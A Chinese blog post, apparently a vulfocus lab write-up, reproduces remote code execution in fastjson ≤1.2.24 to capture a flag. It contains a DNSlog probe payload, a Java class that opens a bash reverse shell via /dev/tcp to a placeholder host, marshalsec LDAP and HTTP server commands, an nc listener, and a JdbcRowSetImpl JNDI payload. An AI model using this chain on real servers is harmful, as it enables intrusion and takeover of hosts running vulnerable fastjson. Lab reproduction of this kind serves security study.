当前位置: 首页 > news >正文

vulfocus/fastjson-cnvd_2017_02833复现

漏洞概述

Fastjson 是阿里巴巴开发的一个高性能的 Java 库,用于将 Java 对象转换成 JSON 格式序列化),以及将 JSON 字符串转换回 Java 对象反序列化)。

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

影响范围

fastjson<=1.2.24

复现流程

本次复现是在vulfocus平台,如有侵权,请及时联系删除

复现配置:
win11,阿里云ECS服务器,靶机vulfocus
访问目的地址:
在这里插入图片描述

这里通过报错验证存在fastjson漏洞

第一步:验证漏洞

下面是正常回显
在这里插入图片描述

修改成post提交,请求体内加一个‘{’使其报错
在这里插入图片描述

出现此标志证明存在fastjson漏洞

第二步:利用dnslog回显证明

先将Content-Type: application/x-www-form-urlencoded修改成json格式:application/json
在加上请求体
{“a”:{“@type”:“java.net.Inet4Address”,“val”:“xxxxx.dnslog.cn”}}

指定反序列化的类型,由于靶机服务器不校验@type,所以造成了漏洞
这里生成一个dnslog地址
在这里插入图片描述

请求数据包如下:在这里插入图片描述在这里插入图片描述成功证明存在漏洞

第三步:拿到shell,获取flag

这里因为必须要反弹shell,我们必须要有一个公网ip,所以这里我用了云服务器,
先准备一个Exploit.java文件,内容如下

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}
}

执行javac Exploit.java编译,生成java.class
在这里插入图片描述
我们还需要另外一个jar包文件:marshalsec-0.0.3-SNAPSHOT-all.jar
这个文件可以从https://gitee.com/gscsd5/marshalsec-jar/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar下载
将生成的Exploit.class文件和marshalsec-0.0.3-SNAPSHOT-all.jar统一放到一个目录下
我这里是放到云服务器的/fastjson1.2.47目录
在这里插入图片描述

接下来开启三个监听窗口(在三个窗口打开)
第一个,使用python搭建一个临时的web服务:python3 -m SimpleHTTPServer 1111
可能有人会报错,可以换用python3 -m http.server 1111
PS:此步是为了接收LDAP服务重定向请求,需要在payload的目录下(/fastjson1.2.47)开启此web服务,这样才可以访问到payload文件
在这里插入图片描述

第二个,服务器使用marshalsec开启LDAP服务监听:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxxxxx:1111/#Exploit 9999 这里的xxxx是自己的公网ip
Ps:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器
在这里插入图片描述(ps:这里还可以用RMI服务监听,最终请求包的payload也要稍微修改下)
第三个,nc监听:nc -lvp 1888
Ps:这是最终得到shell的窗口

在这里插入图片描述本以为这样就可以成功拿到shell了,发现防火墙入方向的端口没打开,导致一直连不上
如果不知道开哪个端口,可以将所有端口先都打开
在这里插入图片描述发送payload

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:9999/Exploit","autoCommit":true}}

这里的xxx也是自己服务器的公网ip
请求数据包如下
在这里插入图片描述回到监听窗口处,发现拿到shell

在这里插入图片描述
成功获取到flag

相关文章:

vulfocus/fastjson-cnvd_2017_02833复现

漏洞概述 Fastjson 是阿里巴巴开发的一个高性能的 Java 库&#xff0c;用于将 Java 对象转换成 JSON 格式&#xff08;序列化&#xff09;&#xff0c;以及将 JSON 字符串转换回 Java 对象&#xff08;反序列化&#xff09;。 fastjson在解析json的过程中,支持使用type字段来指…...

.Net Core微服务入门全纪录(五)——Ocelot-API网关(下)

系列文章目录 1、.Net Core微服务入门系列&#xff08;一&#xff09;——项目搭建 2、.Net Core微服务入门全纪录&#xff08;二&#xff09;——Consul-服务注册与发现&#xff08;上&#xff09; 3、.Net Core微服务入门全纪录&#xff08;三&#xff09;——Consul-服务注…...

OpenCV imread函数读取图像__实例详解

OpenCV imread函数读取图像__实例详解 本文目录&#xff1a; 零、时光宝盒 一、imread函数定义 二、imread函数支持的文件格式 三、imread函数flags参数详解 &#xff08;3.1&#xff09;、Flags-1时&#xff0c;样返回加载的图像&#xff08;使用alpha通道&#xff0c;否…...

GPSd定时检测保活TCP GPS源

为了在 TCP GPS 源丢失连接时自动重新连接&#xff0c;可以编写一个监控脚本&#xff0c;定期检查 gpspipe 输出中的 TCP 源数据是否存在。如果检测到丢失&#xff0c;则使用 gpsdctl 或直接命令重新添加 TCP 源。 1、工具 检查并安装必要工具&#xff0c;本例需要使用 gpspi…...

得物App亮相第七届进博会,科技赋能打造消费新热点

在2024年11月5日至11月10日举办的第七届进博会舞台上&#xff0c;上海交易团虹口分团表现亮眼&#xff0c;其中得物作为来自虹口品质电商的践行者&#xff0c;备受众多参观者关注。 上海得物信息集团有限公司自2015年于上海虹口创立以来&#xff0c;始终坚守“满足年轻人对美好…...

单片机内存管理剖析

一、概述 在单片机系统中&#xff0c;内存资源通常是有限的&#xff0c;因此高效的内存管理至关重要。合理地分配和使用内存可以提高系统的性能和稳定性&#xff0c;避免内存泄漏和碎片化问题。单片机的内存主要包括程序存储器&#xff08;如 Flash&#xff09;和数据存储器&a…...

用Python绘制一只懒羊羊

目录 一、准备工作 二、Turtle库简介 三、绘制懒羊羊的步骤 1. 导入Turtle库并设置画布 2. 绘制头部 3. 绘制眼睛 4. 绘制嘴巴 5. 绘制身体 6. 绘制四肢 7. 完成绘制 五、运行代码与结果展示 六、总结 在这个趣味盎然的技术实践中,我们将使用Python和Turtle图形…...

Python 预训练:打通视觉与大语言模型应用壁垒——Python预训练视觉和大语言模型

大语言模型是一种由包含数百亿甚至更多参数的深度神经网络构建的语言模型&#xff0c;通常使用自监督学习方法通过大量无标签文本进行训练&#xff0c;是深度学习之后的又一大人工智能技术革命。 大语言模型的发展主要经历了基础模型阶段(2018 年到2021年)、能力探索阶段(2019年…...

神经网络梯度爆炸的原因及解决方案

在深度学习中&#xff0c;梯度爆炸&#xff08;gradient exploding&#xff09;是一种常见的训练问题&#xff0c;尤其是在深层神经网络中。梯度爆炸指的是在反向传播过程中&#xff0c;梯度值呈指数级增长&#xff0c;导致网络权重的大幅更新&#xff0c;从而使得网络变得不稳…...

WPS不登录无法使用基本功能的解决方案

前言 WPS不登录无法使用基本功能的原因通常是为了同步数据、提供更多高级功能或满足软件授权要求。‌然而&#xff0c;一些用户可能出于隐私或便捷性的考虑&#xff0c;不愿意登录账号。在这种情况下&#xff0c;WPS可能会限制未登录用户的使用权限&#xff0c;导致工具栏变灰…...

蓝桥杯lesson3---string的使用

&#x1f308;个人主页&#xff1a;羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” string的概念 string字符串是一种更加高级的封装&#xff0c;string字符串中包含了大量的方法&#xff0c;这些方法使得字符串的操作变得更加简单&#xff0c;string的使用&…...

Java设计模式 三 工厂方法模式 (Factory Method Pattern)

工厂方法模式 (Factory Method Pattern) 是一种常见的创建型设计模式&#xff0c;旨在通过定义一个接口来创建对象&#xff0c;而将实例化对象的具体类延迟到子类中。工厂方法模式允许客户端通过工厂方法来创建对象&#xff0c;而不需要直接调用构造函数&#xff0c;这样可以减…...

日志收集Day005

1.filebeat的input类型之filestream实战案例: 在7.16版本中已经弃用log类型,之后需要使用filebeat,与log不同&#xff0c;filebeat的message无需设置就是顶级字段 1.1简单使用&#xff1a; filebeat.inputs: - type: filestreamenabled: truepaths:- /tmp/myfilestream01.lo…...

java开发,IDEA转战VSCODE配置(mac)

一、基本java开发环境配置 前提&#xff1a;已经安装了jdk、maven、vscode&#xff0c;且配置了环境变量 1、安装java相关的插件 2、安装spring相关的插件 3、vscode配置maven环境 打开 VsCode -> 首选项 -> 设置&#xff0c;也可以在setting.json文件中直接编辑&…...

Effective C++读书笔记——item23(用非成员,非友元函数取代成员函数)

一、主要观点&#xff1a; 在某些情况下&#xff0c;使用 non-member、non-friend 函数来替换 member 函数可以增强封装性和可扩展性&#xff0c;提供更好的软件设计。 二、详细解释&#xff1a; 封装性&#xff1a; 类成员函数的封装性考量&#xff1a;成员函数可以访问类的…...

(3)STM32 USB设备开发-USB存储设备

例程&#xff1a;STM32USBdevice: 基于STM32的USB设备例子程序 - Gitee.com 本篇为使用芯片内部flash作为USB存储设备的例程&#xff0c;没有知识&#xff0c;全是实操&#xff0c;按照步骤就能获得一个STM32的U盘。本例子是在野火F103MINI开发板上验证的&#xff0c;如果代码…...

考研408笔记之数据结构(五)——图

数据结构&#xff08;五&#xff09;——图 1. 图的基本概念 1.1 图的定义 1.2 有向图和无向图 在有向图中&#xff0c;使用圆括号表示一条边&#xff0c;圆括号里元素位置互换没有影响。 在无向图中&#xff0c;使用尖括号表示一条边&#xff0c;尖括号里元素位置互换则表示…...

【博客之星】年度总结:在云影与墨香中探寻成长的足迹

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、年度回顾 1、创作历程 2、个人成长 3、个人生活与博客事业 二、技术总结 1、赛道选择 2、技术工具 3、实战项目 三、前景与展望 1、云原生未来…...

springboot 调用 c++生成的so库文件

一、创建c文件 SoTest.h #pragma once class SoTest {int Add(int a,int b); };SoTest.cpp #include "SoTest.h"int SoTest::Add(int a, int b) {return a b; }二、创建so文件 /home/ubuntu/projects/SoTest/bin/x64/Debug/libSoTest.so 三、java代码 Maven依…...

简识JVM栈帧中的操作数栈

在JVM&#xff08;Java虚拟机&#xff09;中&#xff0c;栈帧&#xff08;Stack Frame&#xff09;是方法执行时的数据结构&#xff0c;用于存储局部变量、操作数栈、方法返回地址等信息。 其中&#xff0c;操作数栈&#xff08;Operand Stack&#xff09;是栈帧中的一个重要组…...

在 Kubernetes 上快速安装 KubeSphere v4.1.2

目录标题 安装文档配置repo安装使用插件 安装文档 在 Kubernetes 上快速安装 KubeSphere 配置repo export https_proxy10.10.x.x:7890 helm repo add stable https://charts.helm.sh/stable helm repo update安装 helm upgrade --install -n kubesphere-system --create-name…...

腾讯 Hunyuan3D-2: 高分辨率3D 资产生成

腾讯 Hunyuan3D-2&#xff1a;高分辨率 3D 资产生成的突破 前言 在当今数字化时代&#xff0c;3D 资产生成技术正变得越来越重要。无论是游戏开发、影视制作还是虚拟现实领域&#xff0c;高质量的 3D 模型和纹理都是创造沉浸式体验的关键。然而&#xff0c;传统的 3D 资产制作…...

论文阅读--Qwen22.5技术报告

Qwen2 1 引言 所有模型都是在超过7 trillion token&#xff08;7万亿&#xff09;的高质量、大规模数据集上预训练的 2 Tokenizer & Model 2.1 Tokenizer 沿用Qwen&#xff08;Bai等人&#xff0c;2023a&#xff09;的做法&#xff0c;我们采用了基于字节级字节对编码…...

python如何导出数据到excel文件

python导出数据到excel文件的方法&#xff1a; 1、调用Workbook()对象中的add_sheet()方法 wb xlwt.Workbook() ws wb.add_sheet(A Test Sheet) 2、通过add_sheet()方法中的write()函数将数据写入到excel中&#xff0c;然后使用save()函数保存excel文件 ws.write(0, 0, 1234…...

pyhton学习笔记(三)

目录 1.变量 2.变量的命名规则 3.常用函数汇总 4.常用数据类型汇总 5.算术运算符 6.比较运算符和逻辑运算符 7.常见的三种格式化输出方法 8.分支语句 1.变量 变量就是可以变化的量&#xff0c;可以理解为是一个存储东西的盒子&#xff0c;盒子里面可以放一些程序里需要…...

时间类型数据处理:基于Python的datetime库和pandas库

一、datetime库常用方法 日期的数据类型主要有两种&#xff1a;一是包含时间的datetime类型&#xff0c;二是不包含时间的date类型。这里的时间指具体的时、分、秒、甚至毫秒。 1、自定义日期、时间、获取本地时间、获取本地日期、获取年份、月份、月号、小时、分钟、秒、星期…...

CPU 缓存基础知识

并发编程首先需要简单了解下现代CPU相关知识。通过一些简单的图&#xff0c;简单的代码&#xff0c;来认识CPU以及一些常见的问题。 目录 CPU存储与缓存的引入常见的三级缓存结构缓存一致性协议MESI协议缓存行 cache line 通过代码实例认识缓存行的重要性 CPU指令的乱序执行通过…...

vue3 中如何监听 props 中的值的变化

在 Vue 3 中&#xff0c;你可以使用 watch 函数来监听组件的 props 值的变化。watch 函数允许你观察一个或多个响应式数据源&#xff0c;并在这些数据源发生变化时执行回调函数。 以下是一个示例&#xff0c;展示了如何在 Vue 3 中使用 watch 来监听 props 中的值的变化&#…...

煤矿场景下矿工行为检测数据集VOC+YOLO格式24709张8类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;24709 标注数量(xml文件个数)&#xff1a;24709 标注数量(txt文件个数)&#xff1a;2470…...

Git处理冲突详解

文章目录 Git处理冲突详解一、引言二、冲突产生的原因三、解决冲突的步骤1. 手动解决冲突1.1 查看冲突文件1.2 编辑冲突文件1.3 提交解决冲突 2. 使用合并工具解决冲突 四、使用示例五、总结 Git处理冲突详解 一、引言 在团队协作开发中&#xff0c;Git冲突是不可避免的。当多…...

Jetson Orin Nano Super之jetson-fpv开源代码下载

Jetson Orin Nano Super之jetson-fpv开源代码下载 1. 源由2. 方法2.1 优化配置方案一&#xff1a;增加缓冲方案二&#xff1a;降低并发数方案三&#xff1a;临时禁用深度克隆 2.2 路径更换方案一&#xff1a;设置代理方案二&#xff1a;替换git协议方案三&#xff1a;替换https…...

gitlab使用多数据库

1. 说明 默认情况下&#xff0c;GitLab 使用一个单一的应用数据库&#xff0c;称为主数据库。为了扩展 GitLab&#xff0c;您可以将 GitLab 配置为使用多个应用数据库。 设置多个数据库后&#xff0c;GitLab 将使用第二个应用数据库用于 CI/CD 功能&#xff0c;称为 CI 数据库…...

【Redis】事务

前言&#xff1a; 对比MySQL事务:【MySQL篇】事务的认识以及四大特性-CSDN博客 弱化的原子性: redis 没有 "回滚机制". 只能做到这些操作 "批量执行". 不能做到 "一个失败就恢复到初始状态". 不保证一致性: 不涉及 "约束". 也没有…...

在vue3中使用datav完整引入时卡在加载页面的解决方法

文件修改 文件&#xff1a;node_modules/dataview\datav-vue3/package.json // "module": "./es/index.js","module": "./es/index.mjs", // 修改后使用完整引入&#xff0c;需要为datav配置文件添加相应方法 文件&#xff1a;node…...

WPA_cli P2P命令详解及使用

目录 通用命令 status scan scan_results add_network set_network enable_network reconfigure save_config quit P2P 相关命令 p2p_find p2p_peers p2p_connect [method] p2p_group_add [ssid=] [freq=] [ht40] [persistent] p2p_remove_client p2p_di…...

Kubernetes v1.28.0安装dashboard v2.6.1(k8s图形化操作界面)

准备工作 Kubernetes v1.28.0搭建教程请参考&#xff1a;Kubernetes v1.28.0集群快速搭建教程-CSDN博客 查看当前集群nodes都是ready状态 查看当前pods都是running状态 下载并修改配置文件 下载 recommended.yaml &#xff0c;下载好之后&#xff0c;进入文件编辑 下载地址…...

性能测试监控与诊断

我们依据一个HTTP请求处理的过程&#xff0c;采用主流的J2EE技术栈&#xff0c;如下图所示 1>用户的请求通过网卡传送到服务器&#xff08;中断信号&#xff09;&#xff0c;用户与服务器简历TCP/IP链接。也就是产说的TCP三次握手。既然是链接&#xff0c;就有限制&#xff…...

窥探QCC518x-308x系列与手机之间的蓝牙HCI记录与分析 - 耳机篇

上一篇是介绍如何窥探手机端Bluetooth的HCI log, 本次介绍是如何窥探Bluetooth的HCI log-耳机篇. 这次跟QCC518x/QCC308x测试的手机是Samsung S23 Ultra. QCC518x/QCC308x透过HCI界面取得Log教学. 步骤1: 开启QMDE -> 选择ADK r1102 QCC3083 Headset workspace.步骤2: 点…...

Numpy基础02(Numpy对数组的基本操作)

Numpy的基本操作 2.3.1 ndarray索引操作 一维数组&#xff1a;同一维列表大致相同 n np.array([1, 2, 3, 4, 5]) n[0], n[-1] #(1, 5)多维数组 n np.random.randint(0, 10, size(3, 4, 5)) print(n) # 访问最后一个元素并改为66 n[2,3,-1] 66 print(n)# 最后一行元素并…...

WPS计算机二级•幻灯片的基础操作

听说这是目录哦 PPT的正确制作步骤&#x1f6e3;️认识PPT界面布局&#x1f3dc;️PPT基础操作 快捷键&#x1f3de;️制作PPT时 常用的快捷技巧&#x1f3d9;️快速替换PPT的 文本字体&#x1f303;快速替换PPT 指定文本内容&#x1f305;能量站&#x1f61a; PPT的正确制作步…...

蓝桥杯准备 【入门1】顺序结构

P5705 【深基2.例7】数字反转 题目描述 输入一个不小于 100100 且小于 10001000&#xff0c;同时包括小数点后一位的一个浮点数&#xff0c;例如 123.4123.4 &#xff0c;要求把这个数字翻转过来&#xff0c;变成 4.3214.321 并输出。 解题思路&#xff1a;使用字符串比较简单…...

Java学习笔记(二十四)

1 策略模式 1.1 策略模式概述 策略模式&#xff08;Strategy Pattern&#xff09; 是一种行为设计模式&#xff0c;定义了一系列算法&#xff0c;并将它们封装成独立的类&#xff0c;使它们可以互相替换而不会影响使用它们的客户端代码。 策略模式的核心思想是将行为与环境解…...

React进阶之高阶组件HOC、react hooks、自定义hooks

React高级 高阶组件 HOC属性代理反向继承属性代理和反向继承的区别实例实例一实例二 HooksHooks APIuseState&#xff1a;useEffect&#xff1a;useLayoutEffect&#xff1a;useRef&#xff1a;useContext&#xff1a;useReducer:useMemouseCallback 自定义Hooks 拓展&#xff…...

在亚马逊云科技上高效蒸馏低成本、高精度的Llama 3.1 405B模型(上篇)

在2024年的亚马逊云科技re:Invent全球云计算春晚里&#xff0c;亚马逊云科技CEO - Matt Garman介绍了亚马逊云科技的AI模型托管平台Amazon Bedrock上的模型蒸馏服务Model Distillation&#xff0c;令小李哥印象十分深刻。该功能可自动化地为特定场景的知识创建一个蒸馏模型。它…...

算法基础 -- 红黑树初识

红黑树初识 红黑树&#xff08;Red-Black Tree&#xff09;是一种自平衡的二叉搜索树&#xff0c;它通过对每个节点增加颜色属性&#xff0c;以及在插入和删除节点时使用特定规则调整树结构来保持平衡。红黑树的特点是&#xff0c;在任何情况下&#xff0c;其树高都可以保持在…...

TTL 在 Redis 缓存中的作用

Redis TTL&#xff08;Time To Live&#xff09;与缓存的关系 TTL&#xff08;Time To Live&#xff0c;生存时间&#xff09;是 Redis 提供的一种自动过期机制&#xff0c;用于控制键值对的存活时间。当 TTL 到期后&#xff0c;Redis 会自动删除该键&#xff0c;避免长期占用…...

利用 SAM2 模型探测卫星图像中的农田边界

将 Segment Anything Model Version 2 应用于卫星图像以检测和导出农业地区田地边界的分步教程 &#x1f31f; 简介 手动绘制田地边界是最耗时的任务之一&#xff0c;其准确性取决于绘制者的表现。然而&#xff0c;精确的边界检测在很多领域都有应用。例如&#xff0c;假设您…...

Java春招面试指南前言

在当今竞争激烈的就业市场中&#xff0c;对于即将踏入职场的Java开发者而言&#xff0c;春招是一次宝贵的机会。本博客专栏旨在为大家提供一份全面且实用的Java春招面试指南&#xff0c;助力大家顺利通过面试&#xff0c;开启职业生涯的新篇章。 无论你是初出茅庐的应届生&…...

安宝特方案 | 智能培训:安宝特AR如何提升企业技能培训的效率与互动性

随着企业不断推进数字化转型&#xff0c;传统培训方式已无法满足现代企业对高效、灵活培训的需求。尤其在技术更新频繁、工艺流程复杂、员工流动性大的环境中&#xff0c;传统培训模式的局限性愈加明显。为了提升培训质量、降低培训成本&#xff0c;并帮助员工迅速掌握新技能&a…...

Python网络自动化运维---用户交互模块

文章目录 目录 文章目录 前言 实验环境准备 一.input函数 代码分段解析 二.getpass模块 前言 在前面的SSH模块章节中&#xff0c;我们都是将提供SSH服务的设备的账户/密码直接写入到python代码中&#xff0c;这样很容易导致账户/密码泄露&#xff0c;而使用Python中的用户交…...